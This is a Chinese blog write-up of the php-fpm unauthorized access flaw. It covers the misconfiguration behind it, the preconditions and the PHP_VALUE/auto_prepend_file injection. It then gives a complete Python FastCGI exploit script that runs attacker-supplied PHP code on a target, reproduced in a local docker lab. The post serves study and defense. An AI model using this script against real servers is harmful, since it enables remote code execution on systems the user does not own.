• php-fpm未授权访问漏洞


    目录

    一、产生原因

    二、利用条件

    三、过程原理

    四、复现过程


    一、产生原因

    php-fpm配置不当,fastcgi_pass这里配置了0.0.0.0,将fastcgi接口暴露在公网,任何人都可以利用接口对php-fpm发送fastcgi协议数据,更改php.ini配置文件,导致远程代码执行

    此漏洞属于配置不当,因此影响所有php版本

    二、利用条件

    • php-fpm配置0.0.0.0(暴露在公网)
    • 可以与目标服务器通信
    • 目标服务器有可访问的php文件

    三、过程原理

    利用fastcgi接口向php-fpm发送恶意配置

    1. 'PHP_VALUE': 'auto_prepend_file = php://input',
    2. 'PHP_ADMIN_VALUE': 'allow_url_include = On'

    auto_prepend_file意思是在加载任意php文件之前,先加载配置内容php://input

    而php://input伪协议需要'allow_url_include = On'

    如果目标服务器根目录下没有php文件,那么可以访问/usr/local/lib/php/PEAR.php,这是安装php时自带的php文件,可以直接访问该文件

    发送fastcgi数据给php-fpm后,php-fpm根据SCRIPT_FILENAME值转发给php解析,更改php.ini配置,然后执行文件或代码

    四、复现过程

    利用Python脚本

    1. import socket
    2. import random
    3. import argparse
    4. import sys
    5. from io import BytesIO
    6. # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
    7. PY2 = True if sys.version_info.major == 2 else False
    8. def bchr(i):
    9. if PY2:
    10. return force_bytes(chr(i))
    11. else:
    12. return bytes([i])
    13. def bord(c):
    14. if isinstance(c, int):
    15. return c
    16. else:
    17. return ord(c)
    18. def force_bytes(s):
    19. if isinstance(s, bytes):
    20. return s
    21. else:
    22. return s.encode('utf-8', 'strict')
    23. def force_text(s):
    24. if issubclass(type(s), str):
    25. return s
    26. if isinstance(s, bytes):
    27. s = str(s, 'utf-8', 'strict')
    28. else:
    29. s = str(s)
    30. return s
    31. class FastCGIClient:
    32. """A Fast-CGI Client for Python"""
    33. # private
    34. __FCGI_VERSION = 1
    35. __FCGI_ROLE_RESPONDER = 1
    36. __FCGI_ROLE_AUTHORIZER = 2
    37. __FCGI_ROLE_FILTER = 3
    38. __FCGI_TYPE_BEGIN = 1
    39. __FCGI_TYPE_ABORT = 2
    40. __FCGI_TYPE_END = 3
    41. __FCGI_TYPE_PARAMS = 4
    42. __FCGI_TYPE_STDIN = 5
    43. __FCGI_TYPE_STDOUT = 6
    44. __FCGI_TYPE_STDERR = 7
    45. __FCGI_TYPE_DATA = 8
    46. __FCGI_TYPE_GETVALUES = 9
    47. __FCGI_TYPE_GETVALUES_RESULT = 10
    48. __FCGI_TYPE_UNKOWNTYPE = 11
    49. __FCGI_HEADER_SIZE = 8
    50. # request state
    51. FCGI_STATE_SEND = 1
    52. FCGI_STATE_ERROR = 2
    53. FCGI_STATE_SUCCESS = 3
    54. def __init__(self, host, port, timeout, keepalive):
    55. self.host = host
    56. self.port = port
    57. self.timeout = timeout
    58. if keepalive:
    59. self.keepalive = 1
    60. else:
    61. self.keepalive = 0
    62. self.sock = None
    63. self.requests = dict()
    64. def __connect(self):
    65. self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    66. self.sock.settimeout(self.timeout)
    67. self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    68. # if self.keepalive:
    69. # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
    70. # else:
    71. # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
    72. try:
    73. self.sock.connect((self.host, int(self.port)))
    74. except socket.error as msg:
    75. self.sock.close()
    76. self.sock = None
    77. print(repr(msg))
    78. return False
    79. return True
    80. def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
    81. length = len(content)
    82. buf = bchr(FastCGIClient.__FCGI_VERSION) \
    83. + bchr(fcgi_type) \
    84. + bchr((requestid >> 8) & 0xFF) \
    85. + bchr(requestid & 0xFF) \
    86. + bchr((length >> 8) & 0xFF) \
    87. + bchr(length & 0xFF) \
    88. + bchr(0) \
    89. + bchr(0) \
    90. + content
    91. return buf
    92. def __encodeNameValueParams(self, name, value):
    93. nLen = len(name)
    94. vLen = len(value)
    95. record = b''
    96. if nLen < 128:
    97. record += bchr(nLen)
    98. else:
    99. record += bchr((nLen >> 24) | 0x80) \
    100. + bchr((nLen >> 16) & 0xFF) \
    101. + bchr((nLen >> 8) & 0xFF) \
    102. + bchr(nLen & 0xFF)
    103. if vLen < 128:
    104. record += bchr(vLen)
    105. else:
    106. record += bchr((vLen >> 24) | 0x80) \
    107. + bchr((vLen >> 16) & 0xFF) \
    108. + bchr((vLen >> 8) & 0xFF) \
    109. + bchr(vLen & 0xFF)
    110. return record + name + value
    111. def __decodeFastCGIHeader(self, stream):
    112. header = dict()
    113. header['version'] = bord(stream[0])
    114. header['type'] = bord(stream[1])
    115. header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
    116. header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
    117. header['paddingLength'] = bord(stream[6])
    118. header['reserved'] = bord(stream[7])
    119. return header
    120. def __decodeFastCGIRecord(self, buffer):
    121. header = buffer.read(int(self.__FCGI_HEADER_SIZE))
    122. if not header:
    123. return False
    124. else:
    125. record = self.__decodeFastCGIHeader(header)
    126. record['content'] = b''
    127. if 'contentLength' in record.keys():
    128. contentLength = int(record['contentLength'])
    129. record['content'] += buffer.read(contentLength)
    130. if 'paddingLength' in record.keys():
    131. skiped = buffer.read(int(record['paddingLength']))
    132. return record
    133. def request(self, nameValuePairs={}, post=''):
    134. if not self.__connect():
    135. print('connect failure! please check your fasctcgi-server !!')
    136. return
    137. requestId = random.randint(1, (1 << 16) - 1)
    138. self.requests[requestId] = dict()
    139. request = b""
    140. beginFCGIRecordContent = bchr(0) \
    141. + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
    142. + bchr(self.keepalive) \
    143. + bchr(0) * 5
    144. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
    145. beginFCGIRecordContent, requestId)
    146. paramsRecord = b''
    147. if nameValuePairs:
    148. for (name, value) in nameValuePairs.items():
    149. name = force_bytes(name)
    150. value = force_bytes(value)
    151. paramsRecord += self.__encodeNameValueParams(name, value)
    152. if paramsRecord:
    153. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
    154. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
    155. if post:
    156. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
    157. request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
    158. self.sock.send(request)
    159. self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
    160. self.requests[requestId]['response'] = b''
    161. return self.__waitForResponse(requestId)
    162. def __waitForResponse(self, requestId):
    163. data = b''
    164. while True:
    165. buf = self.sock.recv(512)
    166. if not len(buf):
    167. break
    168. data += buf
    169. data = BytesIO(data)
    170. while True:
    171. response = self.__decodeFastCGIRecord(data)
    172. if not response:
    173. break
    174. if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
    175. or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
    176. if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
    177. self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
    178. if requestId == int(response['requestId']):
    179. self.requests[requestId]['response'] += response['content']
    180. if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
    181. self.requests[requestId]
    182. return self.requests[requestId]['response']
    183. def __repr__(self):
    184. return "fastcgi connect host:{} port:{}".format(self.host, self.port)
    185. if __name__ == '__main__':
    186. parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    187. parser.add_argument('host', help='Target host, such as 127.0.0.1')
    188. parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    189. parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    190. parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
    191. args = parser.parse_args()
    192. client = FastCGIClient(args.host, args.port, 3, 0)
    193. params = dict()
    194. documentRoot = "/"
    195. uri = args.file
    196. content = args.code
    197. params = {
    198. 'GATEWAY_INTERFACE': 'FastCGI/1.0',
    199. 'REQUEST_METHOD': 'POST',
    200. 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
    201. 'SCRIPT_NAME': uri,
    202. 'QUERY_STRING': '',
    203. 'REQUEST_URI': uri,
    204. 'DOCUMENT_ROOT': documentRoot,
    205. 'SERVER_SOFTWARE': 'php/fcgiclient',
    206. 'REMOTE_ADDR': '127.0.0.1',
    207. 'REMOTE_PORT': '9985',
    208. 'SERVER_ADDR': '127.0.0.1',
    209. 'SERVER_PORT': '80',
    210. 'SERVER_NAME': "localhost",
    211. 'SERVER_PROTOCOL': 'HTTP/1.1',
    212. 'CONTENT_TYPE': 'application/text',
    213. 'CONTENT_LENGTH': "%d" % len(content),
    214. 'PHP_VALUE': 'auto_prepend_file = php://input',
    215. 'PHP_ADMIN_VALUE': 'allow_url_include = On'
    216. }
    217. response = client.request(params, content)
    218. print(force_text(response))

    127.0.0.1为目标服务器,这里因为搭建的docker,所以是127.0.0.1,也可以是docker的ip

  • 相关阅读:
    线性代数本质系列(一)向量,线性组合,线性相关,矩阵
    基于小程序实现的惠农小店系统设计与开发
    蓝桥杯嵌入式LCD屏幕
    设施云解决方案,解决园区设施管理痛点
    【Java】Deque接口与List接口中的remove方法
    webgl计算包围盒大小
    DVWA 靶场 Open HTTP Redirect 通关解析
    误格式化硬盘怎么办?分享硬盘格式化恢复的实用方法
    思维模型 上瘾模型(hook model)
    ROS 2 Humble Hawksbill 之 f1tenth gym
  • 原文地址:https://blog.csdn.net/CQ17743254852/article/details/132793504